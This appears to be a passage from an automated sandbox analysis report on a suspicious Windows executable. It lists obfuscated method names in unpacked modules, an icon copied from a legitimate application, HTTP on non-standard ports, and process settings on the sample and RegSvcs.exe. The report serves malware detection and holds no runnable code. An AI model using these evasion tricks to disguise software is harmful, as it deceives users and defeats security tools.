Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, ddWCrGllHMjDUujjMMs.cs	High entropy of concatenated method names: 'p7viTUI651', 'YVcizhghY9', 'pHv3pHlVrn', 'LXD3lNwtuf', 'XYh39kcrKt', 'Sdr3EqFIU0', 'Krh362e7AQ', 'BBe3ZhJ3Nt', 'vRM3AjMIw7', 'rkl3oXla1q'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, OVo2uO9oWvvdGIIukb.cs	High entropy of concatenated method names: 'I0hbg7B8f', 'TS1fF8J8b', 'F1r8D01A7', 'quWJ2Owrj', 'f4OIQMYb2', 'pwF2nQ1FA', 'tpVHhH3o7J6nLeRjAK', 'ESoR0MvmrdAk4LTW7D', 'PoCUAwQ0g', 'N0nit7y9V'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, EhCKRaHhdsWu8su5Lj.cs	High entropy of concatenated method names: 'CZkGZkFNqs', 'QfyGogpfT8', 'CHNGh8GaXO', 'ns0GLaoik6', 'dLHGQndKjg', 'zgBh7FmJdX', 'GZchv5Ws4g', 'WPUhuOIMZ4', 'E37hSEQtYQ', 'I1JhxZ5w0s'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, EcaDEi6U2ggoLNcIVA.cs	High entropy of concatenated method names: 'w8UlLKnfCK', 'YBvlQUrY1H', 'VHelB4lbdC', 'qCUlNWZxfE', 'I9sl17AIhC', 'SRalahdsWu', 'h9EWd5B3BX5NDGNYex', 'CO9Es4kqCInWRr0EJ4', 'QFUllAwjPV', 'isXlEHmJXp'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, rKnfCKVTBvUrY1HLXt.cs	High entropy of concatenated method names: 'mUEo09ax0B', 'VwmoOpIuBV', 'pNDoKyEYXV', 'yFIoDi1fC8', 'HOCo7uHSPk', 'jFsovlKEFZ', 'DcIouBX7sK', 'isEoSAXf9I', 'Jlroxm8Z2i', 'iNloTa0uBL'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, JIrIkel6pInI8Xm1ZIl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Gw94wQiXAV', 'Biu4ijqmOg', 'LIN43Dk3s7', 'Ylf44LSmpo', 'maU4Xe2Fdw', 'i5r4YKOTPm', 'Ou84qTc2Wf'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, hKWgy7oAP9V2fUx985.cs	High entropy of concatenated method names: 'Dispose', 'Mk0lx6JHgp', 'G9G95gt69a', 'qcqb0wyW5I', 'EgNlT3qLBm', 'Y8Mlzvrbgr', 'ProcessDialogKey', 'o6l9pXWD75', 'Suc9lvbCDj', 'bYx99uLTNR'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, R2EI36MnNfQtmd2hPv.cs	High entropy of concatenated method names: 'UEvLAaMyJB', 'mHELtoya4M', 'PbTLGi6kfO', 'YY9GTcsKMr', 'OjWGzhmG1X', 'PiBLpg2Zlf', 'giKLl1eA85', 'rtbL9DWFK5', 'lTILESoEVF', 'qxpL6YDElu'
Source: 0.2.yGu4YUwMl6.exe.3fff2c8.4.raw.unpack, JEVOx2C0XPOTEo0S0r.cs	High entropy of concatenated method names: 'QtbeVw2K9j', 'ypMeIwAN5M', 'odYeHMU9jm', 'aKPe5OPeSt', 'fX7em9bdlI', 'cuieWHeqgk', 'H4veM1wDKn', 'Onkes76a6r', 'OVUerOf1mN', 'uCMegBy9qa'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, exfEXn22sjxHam9s7A.cs	High entropy of concatenated method names: 'AmbhccLT9O', 'rAQhJiuTnu', 'y82tkfeUTV', 'XpmtmeOilL', 'sQLtW19VYa', 'SLUtdkluiw', 'RaGtMYI6Rw', 'jqLtsc1dAO', 'YmXtP315EZ', 'j9ytrFwHgn'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, gsTtZUuYXsk06JHgpV.cs	High entropy of concatenated method names: 'sCqw1nPv3U', 's9Fwn37vvA', 'DpcwwXMsv1', 'DtFw3S2rKo', 'T42wXq2M2j', 'lB5wqKJL1B', 'Dispose', 'GRvUAw0Isd', 'ddDUoEyAb7', 'BwyUtg9nLr'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, vbriyrvjuYM53PuOmB.cs	High entropy of concatenated method names: 'EsWnSlCdFY', 'D3EnTiEiIh', 'jTIUpvTs2L', 'W5sUlhwink', 'fAknglPuV6', 'KZDnyPdpSx', 'W7bnCFmLPf', 'W0on0xdeVA', 'e6qnOd13ty', 'o34nKKPH9R'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, bXWD75xKucvbCDj9Yx.cs	High entropy of concatenated method names: 'dSbwHPQNrA', 'nVSw5vTneq', 'TQJwkMvIl8', 'QnXwmLtym0', 'EqnwWD3fAM', 'oE6wdAIrxv', 'JwJwMSROgH', 'QkkwsQXv3d', 'MpCwPsQoJe', 'bDDwrl1aFL'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, Ggx7j5DQnVguv1OX6e.cs	High entropy of concatenated method names: 'tZpnBmyWQT', 'TDynNTQl5Z', 'ToString', 'yH5nAvZ7bH', 'PrfnotbBdn', 'j3JntqeqrB', 'SdDnhgu9td', 'CitnGF4iPv', 'HbcnLnA6B2', 'g1NnQ69Z5d'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, wVxd3qzqXRIYOjYwxg.cs	High entropy of concatenated method names: 'JhZi8wjkwV', 'iIfiV6OO1X', 'lMSiIxnThd', 'iH0iHBVFec', 'Jvki516rvB', 'a3WimAKZfx', 'gGviWqMQde', 'sciiqLJE5K', 'pZ2ijfgnR5', 'IxoiRBNyI3'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, RrnBpqQBaojddDD8hq.cs	High entropy of concatenated method names: 'uGBEZ7s77q', 'rhTEAuVqC2', 'O00EoAQs3Q', 'eAFEt0v6K2', 'uVcEh9MCMp', 'k9hEGiK5P4', 'DSIEL7UrHH', 'qA4EQUuXZv', 'K80EFcA1wT', 'NjyEBc2GZw'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, o6nw6vIHe4lbdCnCUW.cs	High entropy of concatenated method names: 'N3ktffPfet', 'yAHt8NM4cF', 'yl0tV8XbNu', 'CwKtIU3dVt', 'lSmt1aJMaL', 'tWYtarWkXE', 'GNwtnNxPZN', 'hp6tUZe3Oy', 'CYOtwoJNkD', 'P2wtiHi0sl'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, fsr3C1KW3t0DeGClTh.cs	High entropy of concatenated method names: 'ToString', 'pZuag2Twna', 'W52a5PCOof', 'oHOakkCgZS', 'WG1amV07ZF', 'XlnaWF0x1F', 'iYradfdLyy', 'POnaM5GgNY', 'XYYas4OwS3', 'JpfaPvDc8t'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, qLiIssPN1Nihn4bacr.cs	High entropy of concatenated method names: 'KB4LjoVKKU', 'dSqLRoXChQ', 'TOELbXaWEO', 'gdDLfbAbto', 'oiaLccCpdN', 'S1eL8JuboB', 'jOCLJVanrY', 'a3SLVCWJgQ', 'pjvLIuy8pX', 'IU8L2r3snw'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, qZLV3elpfX4jgkaiXy5.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'C0MigXZSUB', 'B7YiyKoTbA', 'g7HiCIc7El', 'r99i0uOUY5', 'pY3iOpyrSP', 'cs7iKUShKv', 'u7CiDoGRbO'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, c9W0LjtbC4fBta8E8u.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Ubd9x35x9p', 'Lxr9T33nwA', 'YWP9z71pwo', 'VhWEplxTrn', 'imBElXMAOO', 'QjnE901EZh', 'PAuEER5omZ', 'FChFisZhW062oGhQ6vB'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, ddWCrGllHMjDUujjMMs.cs	High entropy of concatenated method names: 'p7viTUI651', 'YVcizhghY9', 'pHv3pHlVrn', 'LXD3lNwtuf', 'XYh39kcrKt', 'Sdr3EqFIU0', 'Krh362e7AQ', 'BBe3ZhJ3Nt', 'vRM3AjMIw7', 'rkl3oXla1q'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, OVo2uO9oWvvdGIIukb.cs	High entropy of concatenated method names: 'I0hbg7B8f', 'TS1fF8J8b', 'F1r8D01A7', 'quWJ2Owrj', 'f4OIQMYb2', 'pwF2nQ1FA', 'tpVHhH3o7J6nLeRjAK', 'ESoR0MvmrdAk4LTW7D', 'PoCUAwQ0g', 'N0nit7y9V'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, EhCKRaHhdsWu8su5Lj.cs	High entropy of concatenated method names: 'CZkGZkFNqs', 'QfyGogpfT8', 'CHNGh8GaXO', 'ns0GLaoik6', 'dLHGQndKjg', 'zgBh7FmJdX', 'GZchv5Ws4g', 'WPUhuOIMZ4', 'E37hSEQtYQ', 'I1JhxZ5w0s'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, EcaDEi6U2ggoLNcIVA.cs	High entropy of concatenated method names: 'w8UlLKnfCK', 'YBvlQUrY1H', 'VHelB4lbdC', 'qCUlNWZxfE', 'I9sl17AIhC', 'SRalahdsWu', 'h9EWd5B3BX5NDGNYex', 'CO9Es4kqCInWRr0EJ4', 'QFUllAwjPV', 'isXlEHmJXp'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, rKnfCKVTBvUrY1HLXt.cs	High entropy of concatenated method names: 'mUEo09ax0B', 'VwmoOpIuBV', 'pNDoKyEYXV', 'yFIoDi1fC8', 'HOCo7uHSPk', 'jFsovlKEFZ', 'DcIouBX7sK', 'isEoSAXf9I', 'Jlroxm8Z2i', 'iNloTa0uBL'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, JIrIkel6pInI8Xm1ZIl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Gw94wQiXAV', 'Biu4ijqmOg', 'LIN43Dk3s7', 'Ylf44LSmpo', 'maU4Xe2Fdw', 'i5r4YKOTPm', 'Ou84qTc2Wf'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, hKWgy7oAP9V2fUx985.cs	High entropy of concatenated method names: 'Dispose', 'Mk0lx6JHgp', 'G9G95gt69a', 'qcqb0wyW5I', 'EgNlT3qLBm', 'Y8Mlzvrbgr', 'ProcessDialogKey', 'o6l9pXWD75', 'Suc9lvbCDj', 'bYx99uLTNR'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, R2EI36MnNfQtmd2hPv.cs	High entropy of concatenated method names: 'UEvLAaMyJB', 'mHELtoya4M', 'PbTLGi6kfO', 'YY9GTcsKMr', 'OjWGzhmG1X', 'PiBLpg2Zlf', 'giKLl1eA85', 'rtbL9DWFK5', 'lTILESoEVF', 'qxpL6YDElu'
Source: 0.2.yGu4YUwMl6.exe.405b0e8.1.raw.unpack, JEVOx2C0XPOTEo0S0r.cs	High entropy of concatenated method names: 'QtbeVw2K9j', 'ypMeIwAN5M', 'odYeHMU9jm', 'aKPe5OPeSt', 'fX7em9bdlI', 'cuieWHeqgk', 'H4veM1wDKn', 'Onkes76a6r', 'OVUerOf1mN', 'uCMegBy9qa'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, exfEXn22sjxHam9s7A.cs	High entropy of concatenated method names: 'AmbhccLT9O', 'rAQhJiuTnu', 'y82tkfeUTV', 'XpmtmeOilL', 'sQLtW19VYa', 'SLUtdkluiw', 'RaGtMYI6Rw', 'jqLtsc1dAO', 'YmXtP315EZ', 'j9ytrFwHgn'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, gsTtZUuYXsk06JHgpV.cs	High entropy of concatenated method names: 'sCqw1nPv3U', 's9Fwn37vvA', 'DpcwwXMsv1', 'DtFw3S2rKo', 'T42wXq2M2j', 'lB5wqKJL1B', 'Dispose', 'GRvUAw0Isd', 'ddDUoEyAb7', 'BwyUtg9nLr'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, vbriyrvjuYM53PuOmB.cs	High entropy of concatenated method names: 'EsWnSlCdFY', 'D3EnTiEiIh', 'jTIUpvTs2L', 'W5sUlhwink', 'fAknglPuV6', 'KZDnyPdpSx', 'W7bnCFmLPf', 'W0on0xdeVA', 'e6qnOd13ty', 'o34nKKPH9R'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, bXWD75xKucvbCDj9Yx.cs	High entropy of concatenated method names: 'dSbwHPQNrA', 'nVSw5vTneq', 'TQJwkMvIl8', 'QnXwmLtym0', 'EqnwWD3fAM', 'oE6wdAIrxv', 'JwJwMSROgH', 'QkkwsQXv3d', 'MpCwPsQoJe', 'bDDwrl1aFL'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, Ggx7j5DQnVguv1OX6e.cs	High entropy of concatenated method names: 'tZpnBmyWQT', 'TDynNTQl5Z', 'ToString', 'yH5nAvZ7bH', 'PrfnotbBdn', 'j3JntqeqrB', 'SdDnhgu9td', 'CitnGF4iPv', 'HbcnLnA6B2', 'g1NnQ69Z5d'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, wVxd3qzqXRIYOjYwxg.cs	High entropy of concatenated method names: 'JhZi8wjkwV', 'iIfiV6OO1X', 'lMSiIxnThd', 'iH0iHBVFec', 'Jvki516rvB', 'a3WimAKZfx', 'gGviWqMQde', 'sciiqLJE5K', 'pZ2ijfgnR5', 'IxoiRBNyI3'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, RrnBpqQBaojddDD8hq.cs	High entropy of concatenated method names: 'uGBEZ7s77q', 'rhTEAuVqC2', 'O00EoAQs3Q', 'eAFEt0v6K2', 'uVcEh9MCMp', 'k9hEGiK5P4', 'DSIEL7UrHH', 'qA4EQUuXZv', 'K80EFcA1wT', 'NjyEBc2GZw'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, o6nw6vIHe4lbdCnCUW.cs	High entropy of concatenated method names: 'N3ktffPfet', 'yAHt8NM4cF', 'yl0tV8XbNu', 'CwKtIU3dVt', 'lSmt1aJMaL', 'tWYtarWkXE', 'GNwtnNxPZN', 'hp6tUZe3Oy', 'CYOtwoJNkD', 'P2wtiHi0sl'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, fsr3C1KW3t0DeGClTh.cs	High entropy of concatenated method names: 'ToString', 'pZuag2Twna', 'W52a5PCOof', 'oHOakkCgZS', 'WG1amV07ZF', 'XlnaWF0x1F', 'iYradfdLyy', 'POnaM5GgNY', 'XYYas4OwS3', 'JpfaPvDc8t'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, qLiIssPN1Nihn4bacr.cs	High entropy of concatenated method names: 'KB4LjoVKKU', 'dSqLRoXChQ', 'TOELbXaWEO', 'gdDLfbAbto', 'oiaLccCpdN', 'S1eL8JuboB', 'jOCLJVanrY', 'a3SLVCWJgQ', 'pjvLIuy8pX', 'IU8L2r3snw'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, qZLV3elpfX4jgkaiXy5.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'C0MigXZSUB', 'B7YiyKoTbA', 'g7HiCIc7El', 'r99i0uOUY5', 'pY3iOpyrSP', 'cs7iKUShKv', 'u7CiDoGRbO'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, c9W0LjtbC4fBta8E8u.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Ubd9x35x9p', 'Lxr9T33nwA', 'YWP9z71pwo', 'VhWEplxTrn', 'imBElXMAOO', 'QjnE901EZh', 'PAuEER5omZ', 'FChFisZhW062oGhQ6vB'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, ddWCrGllHMjDUujjMMs.cs	High entropy of concatenated method names: 'p7viTUI651', 'YVcizhghY9', 'pHv3pHlVrn', 'LXD3lNwtuf', 'XYh39kcrKt', 'Sdr3EqFIU0', 'Krh362e7AQ', 'BBe3ZhJ3Nt', 'vRM3AjMIw7', 'rkl3oXla1q'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, OVo2uO9oWvvdGIIukb.cs	High entropy of concatenated method names: 'I0hbg7B8f', 'TS1fF8J8b', 'F1r8D01A7', 'quWJ2Owrj', 'f4OIQMYb2', 'pwF2nQ1FA', 'tpVHhH3o7J6nLeRjAK', 'ESoR0MvmrdAk4LTW7D', 'PoCUAwQ0g', 'N0nit7y9V'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, EhCKRaHhdsWu8su5Lj.cs	High entropy of concatenated method names: 'CZkGZkFNqs', 'QfyGogpfT8', 'CHNGh8GaXO', 'ns0GLaoik6', 'dLHGQndKjg', 'zgBh7FmJdX', 'GZchv5Ws4g', 'WPUhuOIMZ4', 'E37hSEQtYQ', 'I1JhxZ5w0s'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, EcaDEi6U2ggoLNcIVA.cs	High entropy of concatenated method names: 'w8UlLKnfCK', 'YBvlQUrY1H', 'VHelB4lbdC', 'qCUlNWZxfE', 'I9sl17AIhC', 'SRalahdsWu', 'h9EWd5B3BX5NDGNYex', 'CO9Es4kqCInWRr0EJ4', 'QFUllAwjPV', 'isXlEHmJXp'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, rKnfCKVTBvUrY1HLXt.cs	High entropy of concatenated method names: 'mUEo09ax0B', 'VwmoOpIuBV', 'pNDoKyEYXV', 'yFIoDi1fC8', 'HOCo7uHSPk', 'jFsovlKEFZ', 'DcIouBX7sK', 'isEoSAXf9I', 'Jlroxm8Z2i', 'iNloTa0uBL'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, JIrIkel6pInI8Xm1ZIl.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Gw94wQiXAV', 'Biu4ijqmOg', 'LIN43Dk3s7', 'Ylf44LSmpo', 'maU4Xe2Fdw', 'i5r4YKOTPm', 'Ou84qTc2Wf'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, hKWgy7oAP9V2fUx985.cs	High entropy of concatenated method names: 'Dispose', 'Mk0lx6JHgp', 'G9G95gt69a', 'qcqb0wyW5I', 'EgNlT3qLBm', 'Y8Mlzvrbgr', 'ProcessDialogKey', 'o6l9pXWD75', 'Suc9lvbCDj', 'bYx99uLTNR'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, R2EI36MnNfQtmd2hPv.cs	High entropy of concatenated method names: 'UEvLAaMyJB', 'mHELtoya4M', 'PbTLGi6kfO', 'YY9GTcsKMr', 'OjWGzhmG1X', 'PiBLpg2Zlf', 'giKLl1eA85', 'rtbL9DWFK5', 'lTILESoEVF', 'qxpL6YDElu'
Source: 0.2.yGu4YUwMl6.exe.7380000.6.raw.unpack, JEVOx2C0XPOTEo0S0r.cs	High entropy of concatenated method names: 'QtbeVw2K9j', 'ypMeIwAN5M', 'odYeHMU9jm', 'aKPe5OPeSt', 'fX7em9bdlI', 'cuieWHeqgk', 'H4veM1wDKn', 'Onkes76a6r', 'OVUerOf1mN', 'uCMegBy9qa'

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (29).png

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49738

Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\yGu4YUwMl6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
